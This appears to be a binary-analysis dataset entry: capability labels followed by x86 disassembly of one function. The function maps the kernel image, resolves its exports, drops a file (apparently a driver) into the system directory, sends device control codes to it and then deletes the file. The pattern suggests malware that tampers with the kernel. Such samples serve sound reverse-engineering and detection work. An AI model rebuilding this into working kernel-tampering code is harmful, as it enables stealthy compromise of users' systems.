Function at 0x4036e0
Capabilities:
Delete file
Get common file path
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x40221c
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x402200
push eax
mov dword [0x402010], eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x2c]
push ecx
push 4
push edx
push 0xb
mov dword [0x402048], eax
call eax
xor ebx, ebx
cmp eax, 0xc0000004
jne 0x40374c
mov eax, dword [esp + 0x2c]
push eax
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ecx, dword [esp + 0x2c]
push ebx
push ecx
push eax
push 0xb
mov dword [esp + 0x20], eax
call dword [0x402048]
cmp eax, ebx
jl 0x403aed
mov eax, dword [esp + 0x10]
push 1
push ebx
mov edx, dword [eax + 0xc]
mov dword [0x40204c], edx
mov ecx, dword [eax + 0x10]
xor edx, edx
mov dword [0x402050], ecx
mov dx, word [eax + 0x1e]
lea eax, [edx + eax + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
mov ebp, eax
cmp ebp, ebx
je 0x403aed
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov edx, dword [0x402050]
push edx
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [0x402050]
mov dword [0x40201c], eax
mov edi, eax
mov eax, ecx
mov esi, ebp
add esp, 4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x4021e4
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x40201c]
xor edi, edi
mov esi, dword [eax + 0x3c]
add esi, eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp eax, ebx
je 0x403aed
sub eax, ebp
push eax
push ebp
call fcn.00403bc0
mov ecx, dword [0x40201c]
mov dword [0x402014], eax
add esp, 8
lea edx, [eax + ecx]
mov ecx, dword [eax + ecx]
sub ecx, dword [esi + 0x34]
cmp ecx, dword [esi + 0x50]
jae 0x403834
jmp 0x40380c
mov eax, dword [0x402014]
mov ebx, dword [0x40204c]
lea eax, [eax + edi*4]
add ecx, ebx
mov ebx, dword [0x40201c]
add edx, 4
inc edi
mov dword [eax + ebx], ecx
mov ebx, dword [esi + 0x34]
mov ecx, dword [edx]
mov eax, dword [esi + 0x50]
sub ecx, ebx
cmp ecx, eax
jb 0x403807
xor ebx, ebx
cmp edi, ebx
mov dword [0x402018], edi
je 0x403aed
push ebp
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 0x4021cc
call fcn.00403d60
push 0x4021b4
mov edi, eax
call fcn.00403d60
push 0x4021a0
mov ebp, eax
call fcn.00403d60
mov esi, eax
push esi
push edi
call fcn.00403ee0
push esi
mov dword [esp + 0x4c], eax
call fcn.00403f30
push ebp
mov dword [esp + 0x4c], eax
call fcn.00403e80
mov ebp, eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x95]
mov byte [esp + 0x94], bl
add esp, 0x1c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x78]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x402194
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x78]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 5
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004028a0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x7c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40218c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x7c]
mov ecx, edx
push eax
and ecx, 3
push 0x65
push 0x402178
rep movsb byte es:[edi], byte [esi]
push ebx
call fcn.00402710
lea ecx, [esp + 0x8c]
push ecx
call fcn.00402240
add esp, 0x18
cmp eax, 0xffffffff
mov dword [0x402020], eax
je 0x403aed
push 0x402100
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], ebx
call fcn.00402a40
push 0x402114
mov dword [esp + 0x30], eax
call fcn.00402a40
push 0x4020a4
mov dword [esp + 0x30], eax
call fcn.00402a40
push 0x4020d8
mov dword [esp + 0x2c], eax
call fcn.00402a40
push 0x4020ec
mov dword [esp + 0x34], eax
call fcn.00402a40
mov cx, word [0x402188]
mov edx, dword [esp + 0x44]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x48]
add esp, 0x14
mov dword [esp + 0x3c], eax
mov word [esp + 0x44], cx
mov dword [esp + 0x40], edx
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x46]
lea edx, [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
push ebx
rep stosd dword es:[edi], eax
push edx
mov edx, dword [0x402020]
lea eax, [esp + 0x4c]
push 0x32
push eax
lea ecx, [esp + 0x48]
push 0xc
push ecx
push 0x222400
push edx
mov dword [esp + 0x58], ebp
call esi
cmp dword [esp + 0x28], ebx
je 0x403a48
mov edx, dword [0x402020]
lea eax, [esp + 0x14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp + 0x38]
push 4
push ecx
push 0x222414
push edx
call esi
cmp dword [esp + 0x24], ebx
je 0x403a6b
mov edx, dword [0x402020]
lea eax, [esp + 0x14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp + 0x34]
push 4
push ecx
push 0x222414
push edx
call esi
cmp dword [esp + 0x1c], ebx
je 0x403a8e
mov edx, dword [0x402020]
lea eax, [esp + 0x14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp + 0x2c]
push 4
push ecx
push 0x222414
push edx
call esi
cmp dword [esp + 0x20], ebx
je 0x403ab1
mov edx, dword [0x402020]
lea eax, [esp + 0x14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp + 0x30]
push 4
push ecx
push 0x222414
push edx
call esi
cmp dword [esp + 0x18], ebx
je 0x403ad4
mov edx, dword [0x402020]
lea eax, [esp + 0x14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp + 0x28]
push 4
push ecx
push 0x222414
push edx
call esi
mov eax, dword [0x402020]
push eax
call fcn.00402330
add esp, 4
lea ecx, [esp + 0x78]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x16c
ret